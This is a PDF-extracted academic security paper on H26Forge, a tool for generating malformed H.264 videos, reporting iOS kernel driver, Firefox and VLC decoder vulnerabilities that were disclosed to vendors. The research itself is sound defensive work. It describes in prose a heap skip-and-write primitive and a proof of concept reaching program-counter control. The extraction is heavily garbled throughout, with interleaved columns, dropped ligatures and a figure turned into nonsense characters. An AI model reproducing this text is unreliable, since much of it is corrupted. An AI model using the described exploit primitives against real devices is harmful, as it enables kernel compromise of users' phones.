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Abstract self-contained, sandboxed software libraries, the attack sur-

Modern video encoding standards such as H.264 are a marvefaCe for video processing is larger, more privileged, and, as
. ; ; : : lain below, more heterogeneous.

of hidden complexity. But with hidden complexity comes We exp o S u ey

hidden security risk. Decoding video in practice means in- On the basis of a guideline they call "The Rule OF2,

teracting with dedicated hardware accelerators and the proIhe Crt}:omg dfet\r/]el?p”ers try .to avoid wr;tmgtcg(.je trla.t doe; no
prietary, privileged software components used to drive them,MOre than < oTthe foflowing: parses untrusted input, 1S wntten
n a memory-unsafe languagndruns at high privilege. The

The video decoder ecosystem is obscure, opaque, diversé,. ) : .
highly privileged, largely untested, and highly exposed—a video processing stack in Chrome violates the Rule of 2, and
dangerous comb’ination ' so do the corresponding stacks in other major browsers and
We introduce and evaluate H26RGE, domain-speci ¢ in mgssaging apps—because metf_orm code for driving
infrastructure for analyzing, generating, and manipulating syn-the video decoding hardware, on which they all depend, itself

tactically correct but semantically spec-non-compliant video woéates the Elf;le Oftzﬁ q id lerat ire dif
les. Using H26FORGE, we uncover insecurity in depth ecause diiterent hardware video accelerators require dir-

across the video decoder ecosystem, including kernel memor)ferfivr\'/t drl\_/e;]s_, thhlefecosyst?rr:jq pr|V|Ie?eo_I vwfl?_q prozes_smg
corruption bugs in iOS, memory corruption bugs in Firefox software 1S highly fragmented, our analysis ot Linux device

and VLC for Windows, and video accelerator and application gﬁgs dz)?x?nﬂi(tj ;W;)nds;jrrlscsg?tl\?v?rt:rli\t;(ra;rdofrc?r. s-lc—ar(]:irr(iat 'Srgo
processor kernel memory bugs in multiple Android devices. b y y
searchers to audit.

And the features that make modern video formats so effec-

1 Introduction tive also make it hard to obtain high code coverage testing

of video decoding stacks by means of generic tools. Con-
Modern video encoding standards are a marvel of hiddensider H.264, the most popular video format today. H.264
complexity. As SwiftOnSecurity noted, the video-driven ap- compresses videos by nding similarities within and across
plications we take for granted would not have been possible frames; the similarities and differences are sent as entropy-
without advances in video compression technology, notwith- encoded syntax elements. These syntax elements are encoded
standing increases in computational power, storage capacityin acontext-sensitivaray: a change in the value of one syntax
and network bandwidth But with hidden complexity comes  element completely changes the decoder's interpretation of
hidden security risk. the rest of the bitstream.

_ The H.264 speci cation is 800 pages long—despiteé Spec- o jjjystrative example: CVE-2022-22675.0n March 31,
ifying only how to decode video, not how to encode it. Be- 5055 apple released iOS 15.4.1, which patched a bug in
cause decoding is complex and costly, itis usually delegatedg yernel driver for the AppleAVD video accelerator family,

to hardware video accelerators, either on the GPU or in @jn1yded in SoCs starting with 2018's A12. The release notes
dedicated block on a system-on-chip (SoC). Decoding video giate that “Apple is aware of a report that this issue may have
in practice means interacting with these privileged hardware o actively exploited?”

components and the privileged software components used to Google Project Zero's Natalie Silvanovich performed a

drive them, usually a system medi_a server and a kernel driver, o« cause analysis of the bu¢d. By comparing the pre-
Compared to other types of media that can be processed by

20nline: https://chromium.googlesource.com/chromium/src/+/
10nline: https://twitter.com/SwiftOnSecurity/status/ main/docs/security/rule-of-2.md
888822886420668422 30nline: https://support.apple.com/en-us/HT213219
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and post-patch drivers, she identi ed a missing bounds check 3. Starting from the binary diff from the CVE-2022-22675

on thecpb_cnt_minusl syntax element; she was able to patch, we were able to expand on Silvanovich's root-
produce a video that triggered the added check, but not one cause analysis, generate a proof-of-concept video that
that caused a kernel panic. The problem was a failure of tools. corrupts the kernel heap and causes a panic, and explain
As Silvanovich explained on Twitter, she “forged the le bit why Silvanovich's partial proof-of-concept, despite also
by bit and it was terrible. One trick | use is to build ffmpeg triggering the patch, did not cause a panic.

with symbols and break where the feature you are trying to  In the second case study, we played a larger corpus of
trigger is (for example reading HRD) [...] Then you can random H26BRGEgenerated videos on a variety of Win-
dump the bitstream with gdb and search for the correspondingdows software and Android systems from many dated but still
location in the le and edit it.* relevant vendors. In all, we identi ed a memory corruption

Our contributions. We introduce and evaluate H26RGE, vulnerability in Firefox video playback; a use-after-free in
domain-speci ¢ infrastructure for analyzing, generating, and hardware-accelerated VLC video playback; and insecurity
manipulating syntactically correct but semantically spec-non- N depth across the hardware decoder ecosystem, including
compliant video les. disclosure of uninitialized memory and of prior dgcoder state;
H26FORGE maintains the recovered H.264 syntax ele- accelerator memory corruption; and kernel driver memory

ments in memory and allows for the programmatic adjust- €°TruPtion and crashes.

ment of syntax elements, while correctly entropy-encoding Disclosure and ethics.We have contacted (or attempted to
the adjusted values. No prior tool is suited to this task. Most contact; see below) all the vendors affected by our memory
software that read H.264 videos (e.g., OpenH264 and FFm-<orruption ndings.

peg) focuses on producing an image as quickly as possible, Apple and Mozilla have acknowledged, patched, and as-
so it discards recovered syntax elements once an image isigned CVEs to reported bugs. The VLC maintainers have
generated. Tools used to debug video les (e.g., Elecard's xed the reported bug. We have reported the disclosure of
StreamEye) do not allow the programmatic editing of syntax uninitialized memory to Google and MediaTek.

elements; they focus on providing feedback to tune a video  Some vendors—particularly those that sell media intellec-
encoder. tual property (“media IP") to SoC vendors and do not regu-

H26FORGEcan be used as a standalone tool that generatedarly deal with end users—did not respond when we reached
random videos for input to a video decoder; it can be pro- out.
grammed to produce proof-of-concept videos that trigger a
speci ¢ decoder bug identi ed by a security researcher; and
it can be driven interactively by a researcher when exploring
“what-if?” scenarios for a partly understood vulnerability.

We evaluate the effectiveness of H2&®GEthrough two
case studies.

In the rst case study, we examine the security of the Ap-
pleAVD kernel driver and the AppleD5500 kernel driver used
for pre-A12 SoCS.

1. By playing a few hundred random H26RGE

generated videos on an iPhone with an A9 SoC we iden-2.1  H.264 codec

tied two bUQ?- Qne IS explon_able for antr(.)”ed ker_nel The H.264 video code[] was standardized in 2003 by
heap corruption; the other triggers an in nite loop in a ; o .
) the International Telecommunication Union (ITU) and the
kernel thread, causing a watchdog reboot. . . S
2 We reverse enaineered the AopleD5500 driver binary and Motion Picture Experts Group (MPEG). Because of this joint
' 9 PP y effort, this codec has two names: H.264 provided by the ITU,

identi ed an apparent missing bounds check in H.265 and AVC provided by MPEG. We default to H.264 when
parameter parsing. While H2@RGEdoes not support ossible
H.265 generation, the parameter-level entropy encod-P o . . .
ing is similar, and we were able to produce a proof-of- The speci cation describes how to decode a video, leaving
concept video that exploits the missing bounds check to encoding strgtegles up to software and hardyvarg d(_avellc.)pers.
corrupt the kernel heap and gives the attacker control of Video encoding is the search problem of nding similarities
the program counter within and between pictures, and turning these similarities

' into entropy-encoded instructions. The H.264 spec describes

4Online: https://twitter.com/natashenka/status/ how to recover the instructions and reproduce a picture.

1526440524441194496 . . . .
5Some Twitter commentary about CVE-2022-22675 assumed that Apple YUV, macroblocks, and slices.A video is a collection of

only recently moved video parsing into the iOS kernel. Not so. In fact, the picturgs or frames made up of pixels._ Each pixel is broken
rst bug we identi ed was present in the kernel as far back as iOS 10. down into two components: luma (brightness) and chroma

2 Background

We describe the features of H.264 video compression and
highlight the deployed implementations relevant to the nd-
ings we reportin this paper. Readers interested in a longer, but
still accessible, introduction to H.264 should consult Richard-
son's monograph41].
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(color). In H.264, luma is denoted as Y and chroma as U and size, cropping, etc. The spec allows for up to 32 SPSes
V, where the latter denote blue and red components, respec- in a video, but only one active at a time.
tively, and are used to recover the green component through a e« Picture Parameter Sets (PP3)PSes contain the com-

set of linear equations. Together these are caflgl values. pression parameters and picture reconstruction instruc-
In H.264, frames are split into groups ®§ 16 pixels tions. The spec allows for up to 256 PPSes. A PPS must

calledmacroblocksMacroblocks are the core unit used when reference a valid SPS in a video.

working with frames. Macroblocks are grouped together into ¢ Instantaneous Decoder Refresh (IDR) NALUBR

slices which are used to create frames. NALUSs contain slices and force the decoder to clear

out its DPB, therefore they should only contairira
predicted slices (I sliceswhich do not reference any
other frames. The rst frame in a video is also expected
to be an IDR NALU. An IDR NALU must point to a
valid PPS. Slices are split inslice headerswvith pic-
ture information, andlice datawith macroblocks that
contain the prediction instructions and residue.

* Non-IDR NALUs Non-IDR NALUs contain slices that
can be Intra or Inter predicted, but maintain the decoder
state. Singldnter predicted slices (P slicegontain
macroblocks that reference a single fraBgredicted
slices (B slicesgan reference two frames. A non-IDR
NALU also points to a valid PPS.

Prediction and deblocking. H.264 compresses videos by
relying on prediction techniques to recreate a video at the
endpoint. What is sent is the prediction instructions and the
residue the difference between the predicted frame and the
actual frame. There are two types of prediction mechanisms
in H.264: Intra predictionandInter prediction

Intra prediction looks for similarities within the same frame
at macroblock granularity. For a macroblock, the decoder
takes the edge pixels of neighboring macroblocks and predicts
the image using a linear combination of these values. It then
adds the residue to the predicted image to get the resulting
output image.

Because images are sometimes simply translated across the s | h q dencies that | h
screen, Inter prediction looks for similarities across frames. yntax elements may have dependencies that impact how

Inter-predicted frames copy macroblocks from reference SubSeguent ones are decoded. Modifying one syntax element
frames and apply residues to construct the nal macroblock. c@nges not only how the picture is produced but also how
The decoder maintainsRecoded Picture Buffer (DPBand ~ the streamiis read.

uses it to create a list of reference pictures. Different mac-Entropy encoding. To compress syntax elements, H.264

roblocks in the same picture can reference different frames in entropy encodes them with either stateless or stateful encoding
the buffer. If macroblocks in a frame uses only one reference procedures.

frame, then the frame is referred to aB &ame If two refer- Stateless entropy encodings do not rely on neighboring val-
ence f_rames are used, then it is referred to BSrame(for ues, and include binary, unary, aexponential-Golomb (exp-
biprediction). Golomb) All SPSes, PPSes, and slice headers are encoded in

Because frames are reconstructed at the macroblock levelhis stateless manner and are often handled by software.
the decoder applies erlocking on the macroblock edges to  giateful entropy encodings rely on previously decoded val-
produce a smoother image. ues and are used within slice data to encode prediction modes
Pro les and levels. A pro le in H.264 signals what features  and residue values. The two encoding optionsGoatext-
are used to decode the video. Features include the type ofAdaptive Variable Length Coding (CAVL@nd Context-
entropy encoding and the presence of B frames. The mostAdaptive Binary Arithmetic Coding (CABACLAVLC is
common pro les are Baseline, Main, and High. a run-length encoding, meaning that a value is sent along

Thelevelof a video signals the possible frame size of the With the number of times the value consecutively appears.
video, how many frames to store in the DPB, and what the CABAC is an arithmetic encoding in which binary values are
maximum possible bit rate should be. recovered from a probability model that adjusts to the current
and previous syntax elements. Both CAVLC and CABAC
are more resource-intensive than the stateless options and are
thus often handled by hardware.

Syntax elements. Video reconstruction instructions are
calledsyntax elementsThe possible values each syntax el-
ement can be assigned are determined bysémanticof
the H.264 syntax elements. The values guide the decoder inEncoded value organization. Encoded NALUs can be or-
choosing prediction variables and recovering residue informa-ganized in one of two ways: in “Annex B” format, or AVCC
tion. format. “Annex B” format R3] denotes the beginning of a
Syntax elements are grouped together iN&twork Ab- NALU with start codesf value0x00000001or 0x000001
straction Layer Units (NALUs)NALUs have a header signal- AVCC format includes the length of each NALU instead of
ing the type of content they contain. While the spec allows a start code, and is used in MP4 les, with thecC four
for up to 32 different types of NALUs, the most common are: character code atom containing the SPS and PPS parameters
 Sequence Parameter Sets (SRBse contain the high-  for the video, andndatatom containing the slices.
level properties of the video such as: pro le, level, frame  Both formats go through a process callethulation-



prevention in which sequentiaDx00 values within the Web. Web browsers have long allowed pages to incorporate
encoded stream are “escaped' by insertingearulation- video to play through theideo HTML tag, leading to mul-
prevention byte0x03, after every twoOx00s. This is to tiple vulnerabilities in video decoding. For example, both
prevent the decoder from confusing the sequence as a stat€hrome and Firefox were affected by a 2015 bug in VP9
code. parsing’ In Section6.1we describe a new vulnerability we

H.264 features and extensionsThe H.264 speci cation has ~ found in Firefox's handling of H.264 les.

a collection of features that are enabled by different pro les. ~ Despite this track record, more video processing attack
Arbitrary Slice Ordering (ASO) is an error resilience feature Surface is being exposed to the Web platform. Media Source
that allows for frames to be made up of many slices that can Extensions (MSE) and Encrypted Media Extensions (EME)
arrive at any time. Flexible Macroblock Ordering (FMO) is have been deployed in major browsers; the WebCodecs ex-
like ASO, but also allows for macroblocks to be arranged in tension [, currently only deployed in Chrome, will allow
different shapes. Both are part of the Baseline pro le. websites direct access to the hardware decoders, completely

Since its introduction, the speci cation has added exten- Skipping over container format checks.
sions for new applications and scenarios. Two notable ones Modern browsers carefully sandbox most kinds of media
are Scalable Video Coding (SVC) and Multiview Video Cod- Processing libraries, but they call out to system facilities for
ing (MVC), which allow for multiple sizes in one encoded Video decoding. Hardware acceleration is more energy ef -
video or multiple angles in a single video, respectively. cient; it allows playback of content that requires a hardware

. o . root of trust Bg]; and it allows browsers to bene t from the
Decoding pipeline. We now describe how the components : . : B
are combined to decode a typical H.264 video. patent licensing fees paid by the hardware supptiers.

First, the decoder is set up by passing in an SPS and a PP$nline platforms. Video transcoding pipelines, such as at
with frame and compression related properties. Then the deYouTube (], and Facebookl6], handle user-generated con-
coder receives the rstslice and parses the slice header syntaxent, which may contain videos that are not spec-compliant.
elements. The decoder then begins a macroblock-level reconThis could lead to denial-of-service, information leakage
struction of the image. It then entropy decodes the syntaxfrom the execution environment or other processed videos,
elements and passes them to either a residue reconstructiofir even code execution.
path or through a frame prediction path with previously de-
coded frames. Then the predicted frames are combined with . .
the residue, passed through a deblocking engine, and nally2'3 Hardware video decoding

stored in the DPB, where the frames can be accessed andjije decoding in modern systems is accelerated with custom
presented. hardware. The media IP included in SoCs or GPUs is usually
licensed from a third party. In one notable example, iPhone
2.2 Software systems that manipulate video SoCs through the Al1l include Imagination Technologies'
D5500 media IP (see Sectiai, as do the SoCs in several
Awide range of software systems handle untrusted video les, android phones we study, with very different kernel drivers
providing a broad attack surface for codec bugs. layered on top.

An important observation is that hardware-assisted video . . . . .
P OS integration. IP vendors build drivers for their hardware

i h ful ing that is otherwi
%eggilg ?o?rﬁﬁﬁgse;fei;ag?; ejj?: gggéldnlggt bitg;: of erWlsevideo decoders, which are then called by the OS through their

) ) own abstraction layer. The drivers will prepare the hardware
Messengers.Popular messengers will accept video attach- (4 receive the encoded buffers often through shared memory.
ments in messages and provide a thumbnail preview noti-, thjs section, we discuss the different OS layers provided to
cation. In the default con guration of many messengers, nterface with drivers.

the video is processed to produce the thumbnail without user  \y/pije Stagefright is Android's Media engitfeAndroid

interaction, creating aero-clickatta(_:k surface. _ uses OpenMAX (OMX) to communicate with hardware

_There are many examples of video issues on mobile de-yyjers. OMX abstracts the hardware layer from Stagefright,
vices. Android ha; had historical issues in its SFagefrlght allowing for easier integration of custom hardware video de-
library for processing MP4 les10, 11]. As we discuss  qders.

in SeptionS, video thumbngiling and _decoding cons’;itut_es Other operating systems similarly have their own abstrac-
exploitable attack surface in Apple's iMessage application tion layer. The Linux community has support for video de-
despite the BlastDoor sandbakg. Third-party messengers

can also be affected. In September, WhatsApp disclosed a 7cvE-2015-1258 antittps://crbug.com/450939  for Chrome; CVE-

critical bug in its parsing of videos on Android and i©S. 2015-4506 andhttps://bugzilla.mozilla.org/show_bug.cgi?id=
1192226for Firefox.
SCVE-2022-27492, https://www.whatsapp.com/security/ 8For example, Firefox won't play H.264 videos absent hardware support.

advisories/2022/ . 9Online: https://source.android.com/docs/core/media
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Table 1: Companies that produce hardware video de- + )25%(
coders. LQSXWU_QSXW +DQGENUIDL 0D QLS XODWWRQN +D R G OLQWS X

Company Product Name 73{5GQ:|/|R UP ORg(‘:I?IT::q% i > OX[HG 0%
Allegro DVT AL-D series
Allwinner CedarV (QFRGHG,| (QWURS\ 4 (QFRGH!
AMD \ﬁdeOCOding Engine %LWVWY 'HFRGLQJ (QFRGLQJ %LWVWL
Amlogic Amlogic Video Engine 621

B ‘XPS
Amphion* Malone *HQHUDWLRQ 9LGHR :Hgg&&R&GHF > $9&& mMv
Apple AppleAVD 3DUDPHWHUV | *HQHUDWLRQ
Arm Mali Video Engine \ AN X 621 TXPs
Broadcom Crystal HD and VideoCore
Cast Baseline Decoders ; . ;
Chips'N Media Coda Figure 1:H26FORGE internals.
HiSilicon VDEC
Imagination Technologies PowerVR MSVDX D-series potential for vulnerabilities to exist within or across products.
Intel QuickSync
MediaTek VPU
MSTar Senf Decoder
Nvidia NVDEG 3 Threat Model
Qualcomm Venus .
Realtek RTD series In this paper, we assume an adversary who (1) produces one or
RockChip RKVvdec more malicious video les; and (2) causes one or more targets
Samsung Multi-Format Codec (MFC) to decode the videos. As we discuss in Secfichdelivering

STMicroelectronics
Texas Instruments

DELTA
IVA-HD

videos to the user and having them be decoded—with or

UNISOC* Video Signal Processing Unit (VSP) without user interaction—is easy to accomplish in many cases.
VeriSilicon Hantro This is the minimal set of capabilities an adversary needs to
VYUSync H.264 Decoder exploit a vulnerability in decoding software or hardware.

LPurchased by Allegro DVT.

2Merged with MediaTek; main use is set-top boxes.
3May just be VeriSilicon Hantro.

4Formerly Spreadtrum.

For information disclosure attacks (see, for example, Sec-
tions6.1and6.3.2), the adversary (3) must be able to read
frames of decoded video. For malicious videos delivered
via the web, for example, this can be accomplished via

coders through the Video for Linux API versiont 2Similar JavaScript.

to OMX, it abstracts the driver so user space programs do
not have to worry about the underlying hardware. Windows

relies on DirectX Video Acceleration 2-band Apple uses 4 H26FORGE
VideoToolbox!? Intel also has its own Linux abstraction layer

called the Video Acceleration AP and, similarly Nvidia This section describes H2@RGE, domain-speci ¢ infras-

has the Video Decode and Presentation API for UNiX. tructure for analyzing, ggnerating, and manipqlating syntact-
cally correct but semantically spec-non-compliant video les.

Hardware video decoding companiesTablel lists 25 com- The goal of H26BRGE is to reduce the burden of work-

panies we found that have unique video decode IPs. Soméng with H.264 encoded videos when evaluating H.264 de-

of these may license from other companies, or may producecoders. H26BRGEis available ahttps:/github.com/

their own video codec IP. The companies include providers h26forge/h26forge .

for Single-Board Computers (SBCs), set-top boxes, tablets, H26FoRGE has two main modes of operation: editing

phones, and video conferencing systems. Some video decodend generation. We provide an overview of H2B¥Ethen

IP companies describe providing drivers, RTL, and models describe each mode in detail.

for incorporating the IP into SoCs.

We highlight all of these companies to showcase the het- .

erogeneity of available hardware video decoders, and thus the4'1 Overview

Implementation. H26 FORGEIs written in around 30k lines

of Rust code, and has a Python scripting backend for writ-

ing video modi cation scripts. Figuré shows the various

components of H266RGE. It has three main parts: input

100nline: https://www.kernel.org/doc/html/latest/userspace-
api/media/v4liv412.html

0Online: https://learn.microsoft.com/en-us/windows/win32/
medfound/directx-video-acceleration-2-0

_dlzot”'"l‘si https://developer.apple.com/documentation/ handling, syntax manipulation, and output handling. The in-
videotoolbox . . . .
B3online: https://www. intel. com/contentiwww/us/en/ put handling contains the H.264 entropy decoding. Syntax

manipulation has functions for modifying recovered syntax

developer/articles/technical/linuxmedia-vaapi.html _ _ >
elements or generating random videos. Output handling has

140nline: https://vdpau.pages.freedesktop.org/libvdpau/
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Listing 1: Luma Chroma Thief video transform example.

1 def luma_chroma_thief_16x16(ds):

2 """Turn first slice into a LCT using 16x16 luma chroma predion"""
3 from slice_one_remove_residuemport remove_first_frame_residue

4 from helpers import set_cbp_chroma_and_luma

5 ds = remove_first_frame_residue (ds) Figure 2:An example of a generated | frame.

6 t disable deblocking filter to prevent post processing

7 ds["ppses"][0][ "deblocking_filter_control_present_flag"= True

8 ds["slices"][0][ "sh"]["disable_deblocking_filter_idc]' = 1

S rioinor "sli " "sd ][ " lock_v : 111

10 % luma premerion set by Maroslack type D) 4.2 Editing mode

11 ds["slices"][0][ "sd"][ "macroblock_vec][i][ "mb_type"] = "116x16_0_0_0"

12 # | f di . . . . .

15 dslslices I[0][ "sd ][~ macroblock_vee] ][ *coded_block_patterny = 0 Users can programmatically edit a video with Python scripts
14 ds = set_cbp_ch _and_| (0, i, ds) . .

15 # vertical chrama pregiction calledvideo transformsWe use this feature to generate non-
16 ds["slices"][0][ "sd"][ “macroblock_vec][i][ "intra_chroma_pred_modd"= 2 . . . .. .

17 return ds conforming videos as well as videos containing speci ¢ syn-

tax elements. To help transform writers, we wrote a “helper”
library with commonly encountered actions such as updating
dependent variables or creating NALUs with default values.

As an example of how editing mode works, we introduce a
video that has all top-most macroblocks set to vertical Intra

version of the minimp4 Rust crate that avoids modifying the prediction called Luma Chroma Thief. Non-spec behavior

generated H.264 bitstream, and inserts only the rst observed I|k.e what Luma Chrqma Thief exhibits wogld not natural!y
SPS and PPS into theycCatom. arise in an encoded video, and manual creation of such a video

would be dif cult due to values being CABAC encoded. In

H26FORGE works by entropy decoding and encoding Listing 1, we show how to produce Luma Chroma Thief with
H.264 bitstreams and maintaining the recovered syntax valuesa video transform that sets all the rst slice macroblocks to
in memory for mutation. We initially considered modifying be vertically Intra predicted with only 17 lines of code. This
an existing tool that does H.264 encoding and decoding butexample demonstrates how transforms can build on top of
found all to be poorly suited for this task. Speci cally, ex- each other, here using a transform that removes the rst frame
isting tools focus on producing frames of video as quickly residue. This example also shows how some of the dependent
as possible rather than manipulating the syntax elements thakyntax elements are changed by setting the individual coded
make up the video. As a result, the syntax elements them-lock pattern luma and chroma components.
selves are discarded as soon as the video frame is decoded. |n Section5.3 we further demonstrate how we use video
Since the overall architecture and core data structures of existtransforms to produce iterative videos to gain an understand-

ing tools would need to be signi cantly modi ed to suit our ing of—and exploit—a bug in the Apple video decoder.
goals, we opted for a green eld implementation.

the H.264 entropy encoding, which outputs videos in “An-
nex B” format, but can also output a WebCodecs friendly
AVCC le, muxed MP4 le, or JSON dump of the decoded

syntax elements. For MP4 muxing, we rely on a modi ed

Evaluating correctness. By focusing only on entropy- 4.3 Generation mode
decoding and encoding syntax elements, HABEE sup-
ports many H.264 features. Crucially, H26RGE maintains

the dependencies across syntax elements, enabling the corre
entropy-encoding of slice data. H26RGE supports a major-

ity of the Baseline, Main, Extended, and High pro les, and

Video generation is the process of producing videos with
Fyntax elements at a desired value or range. Given the de-
pendencies between syntax elements, H2®&E will en-

sure dependencies are maintained as values are randomized.

some features of the SVC and MVC extensions. HABEE H26FORGEcomes with the syntax element ranges set to their

does not currently support CAVLC 422/444 chroma subsam-MniMmum and maximum poss@le values, but they can be
pling, FMO decoding, and SVC/MVC slices. adjusted by passing in generation parameters. Hz&HE
' ’ purposefully ignores non-syntax enforced constraints detailed

Because entropy encoding and decoding is a complex prohy the H.264 speci cation, such as the fact that certain fea-
cess, we veri ed the correctness of H26RGEby running it tures are allowed only in certain pro les.
on the of cial test videos provided by the IT24]. Accord- Figure2 shows an example of a generated | frame, featuring

ing to the ITU, a decoder can claim conformance to a pro le randomized prediction modes and residue values.

and level if it can decode the associated test videos. Generation options. When generating videos, H26RGE

We tested H26BRGE 0N the Constrained Baseline, Base- can ignore certain syntax elements or combinations to focus
line, Extended, and Main pro les, as these are the pro les sup- efforts on different areas of interest. For example, lossless
ported by the majority of decoders we examine. We achieve macroblocks do not stress the video decoder because the YUV
98% conformance on the test videos. Of the 135 test videosyalues are directly passed, so H28#cEincludes an option
80 are bit-for-bit identical after re-encoding with H26RGE, to ignore them. If we want to focus on nding vulnerabil-
52 have the same syntax elements, and 3 Baseline videodties at the parameter set level, H26RGE has an “empty
cannot be decoded by H26RGEbecause they use FMO. slice data” option which produces no residue and no predic-



tion instructions. Because some decoders may only check5.1 Finding new vulnerabilities
the bounds of SPS and PPS parameters during initialization
H26FORGE provides a “safe prepend” option that prepends a
known good video to the encoded output, so that subsequen
SPSes and PPSes stress test runtime checking.

To facilitate exploration of decoder features, H2Z8¥E
has a “small” video generation option that limits the frame
size to128 128pixels. This signi cantly reduces the video
generation time, though it reduces the ability to explore issues
that may arise from large frame buffers.

We used H26 BRGES H.264-grammar-aware video genera-
{or (see Sectior.3) to produce syntactically correct H.264
video streams with structured random data. We played these
videos on a physical iPhone SE ( rst generation) with an A9
SoC running iIOS 13.3 and on a virtual iPhone SE ( rst gener-
ation) running iOS 15.5 (most recent at time of discovery) in
Corellium.® Corellium gives us kernel debugging capabilities
along with the ability to test on different iOS versions.

Our fuzzing setup consisted of (1) generating a batch of
Global video parameters. Generation mode starts by sam- 100 videos on a host machine, (2) transferring them to the iOS
pling global video parameters. First is the number of NALUS device under test (through iTunes on the physical phone and
to generate for the video—longer videos require more time yja scp on the virtual phone), (3) scrolling through the folder

to generate, but may expose stateful vulnerabilities. Next is the videos were in to trigger thumbnailing, (4) then opening
whether to enable certain H.264 extensions such as SVC Oleach video in the QuickLook viewer to decode Comp|ete|y_

MVC. Because extensions are often not supported by videowe tested 67 batches in all.

decoders, H266RGEbiases towards no extensions, butthis  wjith this setup, we found two bugs in the AppleD5500.kext.
can be adjusted. With these two global video parameters;The rst bug enables a partly-controlled heap memory over-
H26FORGEproceeds to generate the contents of each NALU. write. The second bug causes an in nite loop and leads to
Parameter set and slice generationAll decoding interfaces @ kernel panic. These bugs have been con rmed, patched,
require passing in the SPS and PPS to prepare the decode®nd assigned CVEs by Apple. We veri ed that they can be
so H26FORGEgenerates those rst. After that, H26RGe  triggered by a web page visited in Safari.

leans towards producing slice NALUs. The rstslice is biased Bug 1: partly-controlled heap memory overwrite. The
towards being an IDR I slice to reduce the likelihood that the st issue we discovered is an out-of-bounds kernel write
decoder quits at the rst slice. Even though decoders are caused by a buffer over ow in the bitstream reader of the
expected to be error-resilient, generally having no reference AppleD5500.kext. The over ow can be triggered by playing
frame prevents B or P slices from being properly decoded.or generating a preview thumbnail of a malformed video. A
As the slices are generated, it takes into consideration sliceyideo randomly generated by H26RGEtriggered this bug
property options, such as no lossless macroblocks or emptyand caused a kernel panic due to a write to an unmapped
residue values. address; we then reverse engineered the affected code to per-
form a root-cause analysis and used HR2&EEinteractively

to show that the bug is exploitable for controlled heap corrup-
tion. This was assigned CVE-2022-32939 and patched in iOS
15.7.1 and 16.1 and iPadOS 15.7.1 and2,&].

Recall from Sectior?.1 that emulation-prevention bytes
(EPBs) are used to escape patterns that may be confused
as NALU start codes in an encoded stream. The Apple-
D5500.kext bitstream reader object keeps track of how many
EPBs it has seen, along with the bit offset in the bitstream
where each EPB was found (presumably to simplify subse-
guent stream processing).

5 Using H26FORGE: An Apple case study

H26FORGES ability to produce syntactically correct H.264
les with speci ¢ semantic errors enables multiple modes of
security analysis. In the following sections, we describe three

different ways to use H266RGE First, H26FORGE can

be used to nd new vulnerabilities in video-handling code.
Second, H26BRGE enables the analyst to produce proof-
of-concept videos which validate their understanding of a

bug. Third, H26 ®RGEenables rapid interactive testing to The array in which EPB offsets are tracked has 256 ele-

understand existing exploits. . . ments, but a check that no more than 256 EPBs have been
We explore each of these three analytical modes in the con-

text of Apple’s i0S video-handling drivers. For the rst two encountered is missing. A 257th EPB over ows the array and

: . . __overwrites the reader object member variable immediately
parts we look at issues in the AppleD5500 kernel extension after it, which happens to be the count of EPBs encountered
(kext), found on A1l SoCs and older. The D5500 is Imagi- ’

nation Technologies' media IP that decodes MPEG4, H.264,SO far. As a consequence, the location of a 258th EPB will be
; . - recorded at an array index now controlled by the attacker. Sub-
and H.265, and the AppleD5500.kext is the driver to facilitate L . i
C . : sequent EPBs will trigger contiguous out-of-bounds writes as
hardware communication. For our third analytical mode we _, . .
- h this count is incremented.
look at the AppleAVD.kext, Apple's in-house video decode IP . . .

) . The bug therefore gives the attacker a heap skip-and-write
available in A12 SoCs and newer that handles H.264, H.265, fimitive. with the location of the 257th EPB controllin
and VP9 video decoding. While both drivers decode H.264, P ' 9
the vulnerabilities are only applicable to the noted driver. 150nline: https://www.corellium.com/




the amount of the skip, and the locations of the 258th and code. Due to the complexity of modern video encodings like
subsequent EPBs controlling the values written after the skip.H.264, it is dif cult to create a test video which demonstrates
File format constraints mean that the skip amount and the the existence of the bug. This is due to a lack of appropriate
values written are only partly attacker controlled. The EPBs tooling. For example, existing video encoders will not pro-
must be in a single NALU, as the bitstream reader context duce such spec-nonconforming videos and due to the nature
is reset with each NALU. Details of how an EPB offset is of the entropy encoding, making localized changes to existing
calculated and stored mean that the values written after thevideos with a hex editor is dif cult.
skip are small negative 32-bit valués. With H26FORGE, the process of producing a proof of
With the help of H26BRGE, we were able to con rmthat  concept is simpli ed. The analyst starts with an existing
a malicious video can overwrite heap memory following the video and uses H263RGEto transform it into a video that
bitstream reader object with (small negative) values of the has the desired property. Because H2&EE understands
attacker's choice, con rming our root-cause analysis. Exploit- the video format, the resulting video will be syntactically
ing the bug for kernel code execution would require careful correct.

kernel heap grooming to choose the overwritten object, and A pug in H.265 decoding. Through reverse engineering
I|ker.a kernel memory disclosure bug to defeat kerne.l ASLR. of the H.265 decoder in the AppleD5500.kext for iOS 15.5,
We did not attempt to develop an end-to-end exploit chain; e discovered what appeared to be a missing bounds check
however, Apple’s assessment was that the bug may allow anpotentially leading to a heap over ow in the H.265 decode
app “to execute arbitrary code with kernel privileges.” object. To verify this, we modi ed H26BRGE with enough
Bug 2: in nite loop. The second issue we discovered was a H.265 tooling to produce a proof-of-concept video that causes
denial-of-service bug in the AppleD5500.kext caused by an a controlled kernel heap over ow. Unlike the previously
in nite loop in a kernel thread. The in nite loop causes the described bugs, we were able to trigger this bug only when
device to heat up, then reboot due to a panic induced by aplaying a video, not through preview thumbnail generation.
watchdog timeout. Like Bug 1, this bug can be triggered by Apple assigned this bug CVE-2022-42850 and patched it in
playing or generating a preview thumbnail of a malformed iOS and iPadOS version 16.2][
video. A video randomly generated by H26RGEtriggered H26FORGEWwas not built to support H.265, but because
this bug and caused a kernel panic; we then reverse engineerethe bug was in SPS parsing, for which H.265 and H.264 use
the affected code to perform a root-cause analysis. Applesimilar encodings, we were able to produce our proof-of-
assigned this bug CVE-2022-42846 and patched it in iOS and concept video without the wholesale revamp of HD&EE
iPadOS versions 15.7.2 and 1642 }]. that would be required for implementing H.265's stateful
We found this issue when generating videos with IDR entropy encodings.
NALUSs with Inter predicted slice types. IDR NALUs are The vulnerability is a missing bounds check farm_
meant to belntra predicted slices that force the decoder short_term_ref_pic_sets . This value dictates how many
to ush its decoded picture buffer (DPB); Inter prediction short term reference picture set (RPS) objects should be in
thus has a list of 0 DPBs to work with, a condition that the SPS, which the spec—but not Apple's implementation—
the parsing code did not anticipate. A missing check for caps at 64. The short term RPS objects, each 172 bytes
arithmetic over ow in computing loop bounds and some un- long, are copied from the video bitstream into an array mem-
